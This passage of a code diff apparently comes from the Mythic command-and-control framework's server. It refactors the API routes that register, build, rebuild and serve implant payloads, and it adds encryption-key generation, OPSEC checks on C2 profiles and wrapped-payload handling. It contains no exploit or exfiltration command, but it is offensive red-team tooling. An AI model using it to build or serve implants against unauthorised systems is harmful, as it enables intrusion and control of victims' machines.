- p["c2_profile_parameter"][param.name] = temp_dict
- else:
- p["c2_profile_parameters"][param.name] = param.default_value
- c2p = await db_objects.create(
- C2ProfileParametersInstance,
- c2_profile_parameters=param,
- value=p["c2_profile_parameters"][param.name],
- payload=payload,
- c2_profile=c2_profile,
+ # mythic doesn't handle the encryption, so send this data off to the payload's
+ # translation_container to gen the appropriate enc/dec keys
+ if payload.payload_type.translation_container is not None:
+ from app.api.callback_api import translator_rpc
+ keys, successfully_sent = await translator_rpc.call(message={
+ "action": "generate_keys",
+ "message": c2p.to_json(),
+ }, receiver="{}_rpc_queue".format(payload.payload_type.translation_container.name))
+ if keys == b"":
+ if successfully_sent:
+ # we successfully sent the message, but got blank bytes back, raise an error
+ asyncio.create_task(send_all_operations_message(
+ message=f"Failed to have {payload.payload_type.translation_container.name} container process generate_keys. Check the container's logs with './mythic-cli logs {payload.payload_type.translation_container.name}",
+ level="warning", source="generate_keys_success", operation=payload.operation))
+ payload.build_phase = "error"
+ payload.build_stderr = f"Failed to have {payload.payload_type.translation_container.name} container process generate_keys. Check the container's logs with './mythic-cli logs {payload.payload_type.translation_container.name}"
+ await app.db_objects.update(payload)
+ return {"status": "error", "error": "Failed to create payload parameters"}
+ else:
+ asyncio.create_task(send_all_operations_message(
+ message=f"Failed to contact {payload.payload_type.translation_container.name} container. Is it running? Check with './mythic-cli status' or check the container's logs",
+ level="warning", source="generate_keys_error", operation=payload.operation))
+ payload.build_phase = "error"
+ payload.build_stderr = f"Failed to contact {payload.payload_type.translation_container.name} container. Is it running? Check with './mythic-cli status' or check the container's logs"
+ await app.db_objects.update(payload)
+ return {"status": "error", "error": "Failed to generate crypto keys in " + payload.payload_type.translation_container.name}
+ else:
+ try:
+ keys = js.loads(keys)
+ if keys["enc_key"] is not None:
+ c2p.enc_key = base64.b64decode(keys["enc_key"])
+ else:
+ c2p.enc_key = None
+ asyncio.create_task(send_all_operations_message(
+ message=f"Using no encryption for payload {bytes(payload.file.filename).decode('utf-8')} ({payload.uuid}) in {c2_profile.name}! Specified encryption type of {c2p.value}",
+ level="warning", operation=payload.operation))
+ if keys["dec_key"] is not None:
+ c2p.dec_key = base64.b64decode(keys["dec_key"])
+ await app.db_objects.update(c2p)
+ except Exception as e:
+ asyncio.create_task(send_all_operations_message(
+ message=f"Failed to parse {payload.payload_type.translation_container.name} container's returned keys for a payload. Expected JSON, got: {keys}",
+ level="warning", source="generate_keys_load_from_container", operation=payload.operation))
+ payload.build_phase = "error"
+ payload.build_stderr = f"Failed to parse {payload.payload_type.translation_container.name} container's returned keys for a payload. Expected JSON with base64 encoded 'enc_key' and 'dec_key' key values, got: {keys}"
+ await app.db_objects.update(payload)
+ return {"status": "error", "error": "Failed to load crypto keys returned from " + payload.payload_type.translation_container.name}
+ else:
+ # somehow have crypto fields, no translation container, and we don't translate
+ asyncio.create_task(send_all_operations_message(
+ message=f"Parameter has crypto_type {c2p.value}, but {payload.payload_type.ptype} has no translation_container and {payload.payload_type.ptype} doesn't want Mythic to handle encryption",
+ level="warning", source="generate_keys_no_generator", operation=payload.operation))
+ payload.build_phase = "error"
+ payload.build_stderr = f"Parameter has crypto_type {c2p.value}, but {payload.payload_type.ptype} has no translation_container and {payload.payload_type.ptype} doesn't want Mythic to handle encryption"
+ await app.db_objects.update(payload)
+ return {"status": "error", "error": f"Got crypto parameters, but {payload.payload_type.ptype} has no translation_container and {payload.payload_type.ptype} doesn't want Mythic to handle encryption"}
+ except Exception as e:
+ logging.warning("payloads_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
+ # remove our payload that we managed to create
+ return {
+ "status": "error",
+ "error": "failed to create parameter instance: " + str(e),
+ }
+ try:
+ payload_c2 = await app.db_objects.create(
+ db_model.PayloadC2Profiles, payload=payload, c2_profile=c2_profile
)
except Exception as e:
- print(str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
+ logging.warning("payloads_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
+ payload.build_phase = "error"
+ payload.build_stderr = f"failed to create parameter instance: " + str(e)
+ await app.db_objects.update(payload)
# remove our payload that we managed to create
return {
"status": "error",
"error": "failed to create parameter instance: " + str(e),
}
+ else:
+ # this means we're looking at making a wrapped payload, so make sure we can find the right payload
+ if "wrapped_payload" not in data:
+ return {"status": "error", "error": "missing wrapped_payload UUID"}
try:
- payload_c2 = await db_objects.create(
- db_model.PayloadC2Profiles, payload=payload, c2_profile=c2_profile
+ wrapped_payload = await app.db_objects.get(
+ db_model.payload_query, uuid=data["wrapped_payload"], operation=operation
)
except Exception as e:
- print(str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
- # remove our payload that we managed to create
+ logging.warning("payloads_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
return {
"status": "error",
- "error": "failed to create parameter instance: " + str(e),
+ "error": "failed to find the wrapped payload specified in our current operation",
}
- else:
- # this means we're looking at making a wrapped payload, so make sure we can find the right payload
- if "wrapped_payload" not in data:
- return {"status": "error", "error": "missing wrapped_payload UUID"}
- try:
- query = await db_model.payload_query()
- wrapped_payload = await db_objects.get(
- query, uuid=data["wrapped_payload"], operation=operation
+ data["selected_os"] = wrapped_payload.os
+ file_meta = await app.db_objects.create(
+ db_model.FileMeta,
+ operation=operation,
+ operator=operator,
+ total_chunks=1,
+ is_payload=True,
+ complete=True,
+ chunks_received=1,
+ delete_after_fetch=False,
+ filename=filename.encode("utf-8"),
+ path="./app/files/{}".format(uuid),
+ )
+ payload = await app.db_objects.create(
+ Payload,
+ operator=operator,
+ payload_type=payload_type,
+ tag=tag,
+ build_container=data["build_container"],
+ os=data["selected_os"],
+ file=file_meta,
+ uuid=uuid,
+ operation=operation,
+ wrapped_payload=wrapped_payload,
+ )
+ await app.db_objects.create(
+ db_model.OperationEventLog,
+ operation=operation,
+ message="Creating new payload {} from {} with UUID {} and tag: {}".format(
+ payload_type.ptype, operator.username, payload.uuid, payload.tag
+ ),
)
- except Exception as e:
- print(str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
- return {
- "status": "error",
- "error": "failed to find the wrapped payload specified in our current operation",
- }
- file_meta = await db_objects.create(
- db_model.FileMeta,
- operation=operation,
- operator=operator,
- total_chunks=1,
- is_payload=True,
- complete=True,
- chunks_received=1,
- delete_after_fetch=False,
- filename=filename,
- path="./app/files/{}".format(uuid),
- )
- payload = await db_objects.create(
- Payload,
- operator=operator,
- payload_type=payload_type,
- tag=tag,
- build_container=data["build_container"],
- file_id=file_meta,
- uuid=uuid,
- operation=operation,
- wrapped_payload=wrapped_payload,
- )
- await db_objects.create(
- db_model.OperationEventLog,
- operation=operation,
- message="New payload {} from {} with UUID {} and tag: {}".format(
- payload_type.ptype, operator.username, payload.uuid, payload.tag
- ),
- )
- # Get all of the build parameters if any and create their instantiations
- query = await db_model.buildparameter_query()
- bparameters = await db_objects.execute(
- query.where(
- (db_model.BuildParameter.payload_type == payload.payload_type)
- & (db_model.BuildParameter.deleted == False)
- )
- )
- # set default values for instances if some aren't supplied
- if "build_parameters" not in data:
- data["build_parameters"] = []
- for build_param in bparameters:
- value = None
- for t in data["build_parameters"]:
- if build_param.name == t["name"] and 'value' in t:
- value = t["value"]
- if value is None:
- if build_param.parameter_type == "ChooseOne":
- value = build_param.parameter.split("\n")[0]
- else:
- value = build_param.parameter
- await db_objects.create(
- db_model.BuildParameterInstance,
- build_parameter=build_param,
- payload=payload,
- parameter=value,
+ # Get all of the build parameters if any and create their instantiations
+ bparameters = await app.db_objects.execute(
+ db_model.buildparameter_query.where(
+ (db_model.BuildParameter.payload_type == payload.payload_type)
+ & (db_model.BuildParameter.deleted == False)
+ )
)
- try:
- os.makedirs(pathlib.Path(file_meta.path).parent, exist_ok=True)
- pathlib.Path(file_meta.path).touch()
+ # set default values for instances if some aren't supplied
+ if "build_parameters" not in data:
+ data["build_parameters"] = []
+ for build_param in bparameters:
+ value = None
+ for t in data["build_parameters"]:
+ if build_param.name == t["name"] and 'value' in t:
+ value = t["value"]
+ if value is None:
+ if build_param.parameter_type == "ChooseOne":
+ value = build_param.parameter.split("\n")[0]
+ else:
+ value = build_param.parameter
+ await app.db_objects.create(
+ db_model.BuildParameterInstance,
+ build_parameter=build_param,
+ payload=payload,
+ parameter=value,
+ )
+ try:
+ os.makedirs(pathlib.Path(file_meta.path).parent, exist_ok=True)
+ pathlib.Path(file_meta.path).touch()
+ except Exception as e:
+ payload.build_phase = "error"
+ payload.build_stderr = "Failed to touch file on disk - " + str(file_meta.path)
+ await app.db_objects.update(payload)
+ return {"status": "error", "error": "failed to touch file on disk"}
+ return {"status": "success", **payload.to_json()}
except Exception as e:
- return {"status": "error", "error": "failed to touch file on disk"}
- return {"status": "success", **payload.to_json()}
+ logging.warning("payloads_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
+ return {"status": "error", "error": str(e)}
async def generate_uuid():
@@ -482,49 +599,48 @@ async def generate_uuid():
async def write_payload(uuid, user, data):
try:
- query = await db_model.payload_query()
- payload = await db_objects.get(query, uuid=uuid)
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
+ payload = await app.db_objects.get(db_model.payload_query, uuid=uuid)
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
except Exception as e:
- print(str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
+ logging.warning("payloads_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
return {
"status": "error",
"error": "failed to get payload db object to write to disk",
}
if not payload.payload_type.container_running:
+ payload.build_phase = "error"
+ payload.build_stderr = f"{payload.payload_type.ptype} container is not running. Check with './mythic-cli status'"
+ await app.db_objects.update(payload)
return {"status": "error", "error": "build container not running"}
if payload.payload_type.last_heartbeat < datetime.utcnow() + timedelta(seconds=-30):
- query = await db_model.payloadtype_query()
- payload_type = await db_objects.get(query, ptype=payload.payload_type.ptype)
+ payload_type = await app.db_objects.get(db_model.payloadtype_query, ptype=payload.payload_type.ptype)
payload_type.container_running = False
- await db_objects.update(payload_type)
+ await app.db_objects.update(payload_type)
+ payload.build_phase = "error"
+ payload.build_stderr = f"{payload.payload_type.ptype} container is not running. Check with './mythic-cli status'"
+ await app.db_objects.update(payload)
return {
"status": "error",
- "error": "build container not running, no heartbeat in over 30 seconds",
+ "error": "build container not running, no heartbeat in over 30 seconds.\nCheck that it's running with `./mythic-cli status`",
}
- query = await db_model.payloadcommand_query()
- commands = await db_objects.execute(query.where(PayloadCommand.payload == payload))
+ commands = await app.db_objects.execute(db_model.payloadcommand_query.where(PayloadCommand.payload == payload))
commands = [c.command.cmd for c in commands]
build_parameters = {}
- bp_query = await db_model.buildparameterinstance_query()
- build_params = await db_objects.execute(
- bp_query.where(db_model.BuildParameterInstance.payload == payload)
+ build_params = await app.db_objects.execute(
+ db_model.buildparameterinstance_query.where(db_model.BuildParameterInstance.payload == payload)
)
for bp in build_params:
build_parameters[bp.build_parameter.name] = bp.parameter
c2_profile_parameters = []
- query = await db_model.payloadc2profiles_query()
- payloadc2profiles = await db_objects.execute(
- query.where(db_model.PayloadC2Profiles.payload == payload)
+ payloadc2profiles = await app.db_objects.execute(
+ db_model.payloadc2profiles_query.where(db_model.PayloadC2Profiles.payload == payload)
)
for pc2p in payloadc2profiles:
# for each profile, we need to get all of the parameters and supplied values for just that profile
param_dict = {}
- query = await db_model.c2profileparametersinstance_query()
- c2_param_instances = await db_objects.execute(
- query.where(
+ c2_param_instances = await app.db_objects.execute(
+ db_model.c2profileparametersinstance_query.where(
(C2ProfileParametersInstance.payload == payload)
& (C2ProfileParametersInstance.c2_profile == pc2p.c2_profile)
)
@@ -532,39 +648,85 @@ async def write_payload(uuid, user, data):
# save all the variables off to a dictionary for easy looping
for instance in c2_param_instances:
param = instance.c2_profile_parameters
- param_dict[param.name] = instance.value
-
+ if param.crypto_type:
+ param_dict[param.name] = {
+ "value": instance.value,
+ "enc_key": base64.b64encode(instance.enc_key).decode() if instance.enc_key is not None else None,
+ "dec_key": base64.b64encode(instance.dec_key).decode() if instance.dec_key is not None else None,
+ }
+ elif param.parameter_type in ["Array", "Dictionary"]:
+ try:
+ param_dict[param.name] = js.loads(instance.value)
+ except Exception as f:
+ param_dict[param.name] = instance.value
+ else:
+ param_dict[param.name] = instance.value
+ status, successfully_sent = await c2_rpc.call(message={
+ "action": "opsec",
+ "parameters": param_dict
+ }, receiver="{}_mythic_rpc_queue".format(pc2p.c2_profile.name))
+ if not successfully_sent:
+ pc2p.c2_profile.running = False
+ await app.db_objects.update(pc2p.c2_profile)
+ payload.build_phase = "error"
+ payload.build_stderr = f"C2 Profile {pc2p.c2_profile.name}'s container is not running, so it cannot be tasked with an OPSEC check"
+ await app.db_objects.update(payload)
+ return {
+ "status": "error",
+ "error": f"C2 Profile {pc2p.c2_profile.name}'s container not running, no heartbeat in over 30 seconds.\nCheck that it's running with `./mythic-cli status`",
+ }
+ status = js.loads(status)
+ if status["status"] == "error":
+ if status["error"] == "'opsec'":
+ # this is fine, just means the profile never implemented an opsec function
+ pass
+ else:
+ payload.build_phase = "error"
+ payload.build_stderr = f"\nFailed to pass OPSEC check for {pc2p.c2_profile.name}:\n{status['error']}"
+ await app.db_objects.update(payload)
+ return {"status": "error", "error": payload.build_stderr}
+ else:
+ if "message" not in status:
+ status["message"] = "OPSEC Check executed, but provided no output"
+ payload.build_message = payload.build_message + f"\nOPSEC message from {pc2p.c2_profile.name}:\n{status['message']}"
+ await app.db_objects.update(payload)
c2_profile_parameters.append(
{"parameters": param_dict, **pc2p.c2_profile.to_json()}
)
wrapped_payload = ""
try:
if payload.wrapped_payload is not None:
- if os.path.exists(payload.wrapped_payload.file_id.path):
+ if os.path.exists(payload.wrapped_payload.file.path):
wrapped_payload = base64.b64encode(
- open(payload.wrapped_payload.file_id.path, "rb").read()
+ open(payload.wrapped_payload.file.path, "rb").read()
).decode()
else:
return {"status": "error", "error": "Wrapped payload no longer exists"}
except Exception as e:
- print(str(e))
+ logging.warning("payloads_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
return {"status": "error", "error": "Error trying to get wrapped payload"}
result = await send_pt_rabbitmq_message(
payload.payload_type.ptype,
- "create_payload_with_code.{}".format(payload.uuid),
- base64.b64encode(
- js.dumps(
- {
- "build_parameters": build_parameters,
- "commands": commands,
- "c2_profile_parameters": c2_profile_parameters,
- "uuid": payload.uuid,
- "wrapped_payload": wrapped_payload,
- }
- ).encode()
- ).decode("utf-8"),
+ "create_payload_with_code",
+ js.dumps(
+ {
+ "build_parameters": build_parameters,
+ "commands": commands,
+ "selected_os": data["selected_os"],
+ "c2_profile_parameters": c2_profile_parameters,
+ "uuid": payload.uuid,
+ "wrapped_payload": wrapped_payload,
+ }
+ ),
user["username"],
+ payload.uuid
)
+ if result["status"] == "error" and "type" in result:
+ payload.build_phase = "error"
+ payload.build_stderr = "Container not online"
+ payload.payload_type.container_count = 0
+ await app.db_objects.update(payload.payload_type)
+ await app.db_objects.update(payload)
return {**result, "uuid": payload.uuid}
@@ -582,7 +744,78 @@ async def create_payload(request, user):
if user["view_mode"] == "spectator":
return json({"status": "error", "error": "Spectators cannot create payloads"})
data = request.json
- return json(await (create_payload_func(data, user)))
+ return json(await create_payload_func(data, user))
+
+
+@mythic.route(mythic.config["API_BASE"] + "/payloads/rebuild", methods=["POST"])
+@inject_user()
+@scoped(
+ ["auth:user", "auth:apitoken_user"], False
+) # user or user-level api token are ok
+async def create_payload_again(request, user):
+ if user["auth"] not in ["access_token", "apitoken"]:
+ abort(
+ status_code=403,
+ message="Cannot access via Cookies. Use CLI or access via JS in browser",
+ )
+ if user["view_mode"] == "spectator":
+ return json({"status": "error", "error": "Spectators cannot create payloads"})
+ from app.api.rabbitmq_api import get_payload_build_config
+ try:
+ rebuild_info = request.json
+ data = await get_payload_build_config(payload_uuid=rebuild_info["uuid"], generate_new_random_values=False)
+ if data["status"] == "success":
+ return json(await create_payload_func(data["data"], user))
+ else:
+ return json(data)
+ except Exception as e:
+ return json({"status": "error", "error": "Failed to rebuild payload: " + str(e)})
+
+
+@mythic.route(mythic.config["API_BASE"] + "/payloads/export_config/", methods=["GET"])
+@inject_user()
+@scoped(
+ ["auth:user", "auth:apitoken_user"], False
+) # user or user-level api token are ok
+async def export_payload_config(request, user, puuid):
+ if user["auth"] not in ["access_token", "apitoken"]:
+ abort(
+ status_code=403,
+ message="Cannot access via Cookies. Use CLI or access via JS in browser",
+ )
+ if user["view_mode"] == "spectator":
+ return json({"status": "error", "error": "Spectators cannot create payloads"})
+ from app.api.rabbitmq_api import get_payload_build_config
+ try:
+ data = await get_payload_build_config(payload_uuid=puuid, generate_new_random_values=False)
+ if data["status"] == "success":
+ return json({"status": "success", "config": data["data"]})
+ else:
+ return json(data)
+ except Exception as e:
+ return json({"status": "error", "error": "Failed to rebuild payload: " + str(e)})
+
+
+@mythic.route(mythic.config["API_BASE"] + "/createpayload_webhook", methods=["POST"])
+@inject_user()
+@scoped(
+ ["auth:user", "auth:apitoken_user"], False
+) # user or user-level api token are ok
+async def create_payload_webhook(request, user):
+ if user["auth"] not in ["access_token", "apitoken"]:
+ abort(
+ status_code=403,
+ message="Cannot access via Cookies. Use CLI or access via JS in browser",
+ )
+ if user["view_mode"] == "spectator":
+ return json({"status": "error", "error": "Spectators cannot create payloads"})
+ data = request.json
+ try:
+ data = js.loads(data["input"]["payloadDefinition"])
+ response = await (create_payload_func(data, user))
+ return json(response)
+ except Exception as e:
+ return json({"status": "error", "error": str(e)})
async def create_payload_func(data, user):
@@ -595,43 +828,42 @@ async def create_payload_func(data, user):
rsp = await register_new_payload_func(data, user)
if rsp["status"] == "success":
# now that it's registered, write the file, if we fail out here then we need to delete the db object
- query = await db_model.payload_query()
- payload = await db_objects.get(query, uuid=rsp["uuid"])
+ payload = await app.db_objects.get(db_model.payload_query, uuid=rsp["uuid"])
create_rsp = await write_payload(payload.uuid, user, data)
if create_rsp["status"] == "success":
return {"status": "success", "uuid": rsp["uuid"]}
else:
return {"status": "error", "error": create_rsp["error"]}
else:
- print(rsp["error"])
+ logging.warning("payloads_api.py - Failed to register_new_payload_func: " + rsp["error"])
return {"status": "error", "error": rsp["error"]}
except Exception as e:
+ logging.warning("payloads_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
return {"status": "error", "error": str(e)}
# needs to not be protected so the implant can call back and get a copy of an agent to run
@mythic.route(
- mythic.config["API_BASE"] + "/payloads/download/", methods=["GET"]
+ mythic.config["API_BASE"] + "/payloads/download/", methods=["GET"]
)
@inject_user()
@scoped(
["auth:user", "auth:apitoken_user"], False
) # user or user-level api token are ok
-async def get_payload(request, uuid, user):
+async def get_payload(request, puuid, user):
# return a blob of the requested payload
# the pload string will be the uuid of a payload registered in the system
try:
if user["view_mode"] == "spectator":
return json({"status": "error", "error": "Spectators cannot download payloads"})
- query = await db_model.payload_query()
- payload = await db_objects.get(query, uuid=uuid)
+ payload = await app.db_objects.get(db_model.payload_query, uuid=puuid)
except Exception as e:
return json({"status": "error", "error": "payload not found"})
if payload.operation.name in user["operations"]:
try:
- return await file(payload.file_id.path, filename=payload.file_id.filename)
+ return await file_stream(payload.file.path, filename=bytes(payload.file.filename).decode("utf-8"))
except Exception as e:
- print(e)
+ logging.warning("payloads_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
return json({"status": "error", "error": "failed to open payload"})
else:
return json(
@@ -654,18 +886,15 @@ async def get_payloads_by_type(request, ptype, user):
)
payload_type = unquote_plus(ptype)
try:
- query = await db_model.payloadtype_query()
- payloadtype = await db_objects.get(query, ptype=payload_type)
+ payloadtype = await app.db_objects.get(db_model.payloadtype_query, ptype=payload_type)
except Exception as e:
return json({"status": "error", "error": "failed to find payload type"})
if user["current_operation"] != "":
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
else:
return json({"status": "error", "error": "must be part of an active operation"})
- query = await db_model.payload_query()
- payloads = await db_objects.execute(
- query.where(
+ payloads = await app.db_objects.execute(
+ db_model.payload_query.where(
(Payload.operation == operation)
& (Payload.payload_type == payloadtype)
& (Payload.build_phase == "success")
@@ -675,41 +904,9 @@ async def get_payloads_by_type(request, ptype, user):
return json({"status": "success", "payloads": payloads_json})
-@mythic.route(mythic.config["API_BASE"] + "/payloads/", methods=["GET"])
-@inject_user()
-@scoped(
- ["auth:user", "auth:apitoken_user"], False
-) # user or user-level api token are ok
-async def get_one_payload_info(request, uuid, user):
- if user["auth"] not in ["access_token", "apitoken"]:
- abort(
- status_code=403,
- message="Cannot access via Cookies. Use CLI or access via JS in browser",
- )
- try:
- query = await db_model.payload_query()
- payload = await db_objects.get(query, uuid=uuid)
- except Exception as e:
- print(e)
- return json({"status": "error", "error": "failed to find payload"})
- if payload.operation.name in user["operations"]:
- config = await get_payload_config(payload)
- if payload.wrapped_payload is not None:
- config["wrapped"] = await get_payload_config(payload.wrapped_payload)
- return json(config)
- else:
- return json(
- {
- "status": "error",
- "error": "you need to be part of the right operation to see this",
- }
- )
-
-
async def get_payload_config(payload):
- query = await db_model.payloadcommand_query()
- payloadcommands = await db_objects.execute(
- query.where(PayloadCommand.payload == payload)
+ payloadcommands = await app.db_objects.execute(
+ db_model.payloadcommand_query.where(PayloadCommand.payload == payload)
)
commands = [
{
@@ -721,39 +918,44 @@ async def get_payload_config(payload):
]
# now we need to get the c2 profile parameters as well
c2_profiles_data = {}
- query = await db_model.payloadc2profiles_query()
- c2profiles = await db_objects.execute(
- query.where(db_model.PayloadC2Profiles.payload == payload)
+ c2profiles = await app.db_objects.execute(
+ db_model.payloadc2profiles_query.where(db_model.PayloadC2Profiles.payload == payload)
)
for c2p in c2profiles:
- query = await db_model.c2profileparametersinstance_query()
- c2_profile_params = await db_objects.execute(
- query.where(
+ c2_profile_params = await app.db_objects.execute(
+ db_model.c2profileparametersinstance_query.where(
(C2ProfileParametersInstance.payload == payload)
& (C2ProfileParametersInstance.c2_profile == c2p.c2_profile)
)
)
- params = [p.to_json() for p in c2_profile_params]
- c2_profiles_data[c2p.c2_profile.name] = params
- query = await db_model.buildparameterinstance_query()
- build_params = await db_objects.execute(
- query.where((db_model.BuildParameterInstance.payload == payload))
+ param_fields = []
+ for p in c2_profile_params:
+ p_json = p.to_json()
+ if p.enc_key is not None:
+ p_json["enc_key"] = base64.b64encode(p.enc_key).decode()
+ if p.dec_key is not None:
+ p_json["dec_key"] = base64.b64encode(p.dec_key).decode()
+ param_fields.append(p_json)
+ c2_profiles_data[c2p.c2_profile.name] = param_fields
+ build_params = await app.db_objects.execute(
+ db_model.buildparameterinstance_query.where((db_model.BuildParameterInstance.payload == payload))
)
return {
"status": "success",
**payload.to_json(),
+ "selected_os": payload.os,
"commands": commands,
"c2_profiles": c2_profiles_data,
"build_parameters": [b.to_json() for b in build_params],
}
-@mythic.route(mythic.config["API_BASE"] + "/payloads/", methods=["PUT"])
+@mythic.route(mythic.config["API_BASE"] + "/payloads/", methods=["PUT"])
@inject_user()
@scoped(
["auth:user", "auth:apitoken_user"], False
) # user or user-level api token are ok
-async def edit_one_payload(request, uuid, user):
+async def edit_one_payload(request, puuid, user):
if user["auth"] not in ["access_token", "apitoken"]:
abort(
status_code=403,
@@ -762,23 +964,22 @@ async def edit_one_payload(request, uuid, user):
try:
if user["view_mode"] == "spectator":
return json({"status": "error", "error": "Spectators cannot edit payloads"})
- query = await db_model.payload_query()
- payload = await db_objects.get(query, uuid=uuid)
+ payload = await app.db_objects.get(db_model.payload_query, uuid=puuid)
except Exception as e:
- print(e)
+ logging.warning("payloads_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
return json({"status": "error", "error": "failed to find payload"})
try:
if payload.operation.name in user["operations"]:
data = request.json
if "callback_alert" in data:
payload.callback_alert = data["callback_alert"]
- await db_objects.update(payload)
+ await app.db_objects.update(payload)
if "filename" in data:
- payload.file_id.filename = data["filename"]
- await db_objects.update(payload.file_id)
+ payload.file.filename = data["filename"].encode("utf-8")
+ await app.db_objects.update(payload.file)
if "description" in data:
payload.tag = data["description"]
- await db_objects.update(payload)
+ await app.db_objects.update(payload)
return json({"status": "success", **payload.to_json()})
else:
return json(
diff --git a/mythic-docker/app/api/payloadtype_api.py b/mythic-docker/app/api/payloadtype_api.py
index 674c70a7e..fd6fe1cdb 100755
--- a/mythic-docker/app/api/payloadtype_api.py
+++ b/mythic-docker/app/api/payloadtype_api.py
@@ -1,4 +1,5 @@
-from app import mythic, db_objects
+from app import mythic
+import app
from sanic.response import json
from app.database_models.model import (
PayloadType,
@@ -8,15 +9,15 @@
PayloadTypeC2Profile,
)
from sanic_jwt.decorators import scoped, inject_user
-import shortuuid
+import asyncio
import datetime
import app.database_models.model as db_model
from sanic.exceptions import abort
from sanic.log import logger
from peewee import fn
import shortuuid
-from app.api.rabbitmq_api import send_pt_rabbitmq_message
import ujson as js
+import sys
# payloadtypes aren't inherent to an operation
@@ -33,36 +34,25 @@ async def get_all_payloadtypes(request, user):
)
if user["current_operation"] == "":
return json({"status": "error", "error": "Must be part of an operation to view this"})
- query = await db_model.payloadtype_query()
- wrapquery = await db_model.wrappedpayloadtypes_query()
- payloads = await db_objects.prefetch(
- query.where(db_model.PayloadType.deleted == False),
+ payloads = await app.db_objects.prefetch(
+ db_model.payloadtype_query.where(db_model.PayloadType.deleted == False),
db_model.BuildParameter.select().where(db_model.BuildParameter.deleted == False)
)
- pt_c2_query = await db_model.payloadtypec2profile_query()
plist = []
wrappers = []
for pt in payloads:
- build_query = await db_model.buildparameter_query()
- build_params = await db_objects.execute(
- build_query.where(
- (db_model.BuildParameter.payload_type == pt)
- & (db_model.BuildParameter.deleted == False)
- )
- )
pt_json = pt.to_json()
- # pt_json["build_parameters"] = [bp.to_json() for bp in build_params]
if pt.wrapper:
- wrapped_types = await db_objects.execute(
- wrapquery.where(db_model.WrappedPayloadTypes.wrapper == pt)
+ wrapped_types = await app.db_objects.execute(
+ db_model.wrappedpayloadtypes_query.where(db_model.WrappedPayloadTypes.wrapper == pt)
)
wrappers.append(
{**pt_json, "wrapped": [w.to_json() for w in wrapped_types]}
)
else:
# get the list of c2 profiles the payload supports
- pt_c2 = await db_objects.execute(
- pt_c2_query.where(db_model.PayloadTypeC2Profile.payload_type == pt)
+ pt_c2 = await app.db_objects.execute(
+ db_model.payloadtypec2profile_query.where(db_model.PayloadTypeC2Profile.payload_type == pt)
)
pt_json["c2_profiles"] = []
for c2 in pt_c2:
@@ -85,14 +75,13 @@ async def get_one_payloadtype(request, user, ptype):
try:
if user["current_operation"] == "":
return json({"status": "error", "error": "Must be part of an operation to view this"})
- query = await db_model.payloadtype_query()
- payloadtype = await db_objects.prefetch(query.where(db_model.PayloadType.id == ptype),
- db_model.BuildParameter.select().where(db_model.BuildParameter.deleted == False))
+ payloadtype = await app.db_objects.prefetch(db_model.payloadtype_query.where(db_model.PayloadType.id == ptype),
+ db_model.BuildParameter.select().where(
+ db_model.BuildParameter.deleted == False))
payloadtype = payloadtype[0]
# get the list of c2 profiles the payload supports
- pt_c2_query = await db_model.payloadtypec2profile_query()
- pt_c2 = await db_objects.execute(
- pt_c2_query.where(db_model.PayloadTypeC2Profile.payload_type == payloadtype)
+ pt_c2 = await app.db_objects.execute(
+ db_model.payloadtypec2profile_query.where(db_model.PayloadTypeC2Profile.payload_type == payloadtype)
)
c2_profiles = []
for c2 in pt_c2:
@@ -122,14 +111,19 @@ async def update_one_payloadtype(request, user, ptype):
try:
if user["current_operation"] == "":
return json({"status": "error", "error": "Not part of an operation"})
- query = await db_model.payloadtype_query()
- payloadtype = await db_objects.get(query, id=ptype)
+ payloadtype = await app.db_objects.prefetch(db_model.payloadtype_query.where(db_model.PayloadType.id == ptype),
+ db_model.BuildParameter.select().where(db_model.BuildParameter.deleted == False))
data = request.json
+ payloadtype = list(payloadtype)[0]
if "container_running" in data:
payloadtype.container_running = data["container_running"]
- await db_objects.update(payloadtype)
+ await app.db_objects.update(payloadtype)
+ if "translation_container_running" in data:
+ if payloadtype.translation_container is not None:
+ payloadtype.translation_container.container_running = data["translation_container_running"]
+ await app.db_objects.update(payloadtype.translation_container)
except Exception as e:
- return json({"status": "error", "error": "failed to find payload type"})
+ return json({"status": "error", "error": "failed to find payload type: " + str(e)})
return json({"status": "success", **payloadtype.to_json()})
@@ -148,8 +142,7 @@ async def delete_one_payloadtype(request, user, ptype):
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
try:
- query = await db_model.payloadtype_query()
- payloadtype = await db_objects.get(query, id=ptype)
+ payloadtype = await app.db_objects.get(db_model.payloadtype_query, id=ptype)
except Exception as e:
return json({"status": "error", "error": "failed to find payload type"})
if user["admin"]:
@@ -158,13 +151,12 @@ async def delete_one_payloadtype(request, user, ptype):
payloadtype_json = payloadtype.to_json()
payloadtype.deleted = True
payloadtype.ptype = str(shortuuid.uuid()) + "-" + payloadtype.ptype
- await db_objects.update(payloadtype)
- query = await db_model.payloadtypec2profile_query()
- mapping = await db_objects.execute(
- query.where(db_model.PayloadTypeC2Profile.payload_type == payloadtype)
+ await app.db_objects.update(payloadtype)
+ mapping = await app.db_objects.execute(
+ db_model.payloadtypec2profile_query.where(db_model.PayloadTypeC2Profile.payload_type == payloadtype)
)
for m in mapping:
- await db_objects.delete(m)
+ await app.db_objects.delete(m)
return json({"status": "success", **payloadtype_json})
except Exception as e:
logger.exception("exception in delete_one_payloadtype")
@@ -194,70 +186,50 @@ async def get_commands_for_payloadtype(request, user, ptype):
if user["current_operation"] == "":
return json({"status": "error", "error": "Must be part of a current operation to see this"})
try:
- query = await db_model.payloadtype_query()
